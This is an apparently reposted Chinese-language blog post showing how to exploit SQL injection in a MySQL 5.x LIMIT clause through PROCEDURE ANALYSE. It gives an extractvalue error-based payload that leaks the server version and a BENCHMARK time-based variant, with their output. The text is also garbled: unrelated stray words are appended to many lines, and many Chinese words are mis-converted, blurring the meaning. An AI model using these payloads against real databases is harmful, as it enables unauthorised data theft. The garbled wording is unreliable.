from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/mysql
此方法适用于MySQL 5.x中,在limit语句后面的注入
例如:sql
在LIMIT后面能够跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,不然是没法利用的,那么使用PROCEDURE函数可否注入呢?shell
Let’s give it a try:ubuntu
ANALYSE能够有两个参数:函数
看起来并非很好,继续尝试:
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure
analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
可是当即返回了一个错误信息:
ERROR 1108 (HY000): Incorrect parameters to procedure ‘analyse’
sleep函数确定没有执行,可是最终我仍是找到了能够攻击的方式:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);测试
ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.41-0ubuntu0.14.04.1′
若是不支持报错注入的话,还能够基于时间注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行,须要用BENCHMARK代替。this
PS:测试成功,无图无真相:spa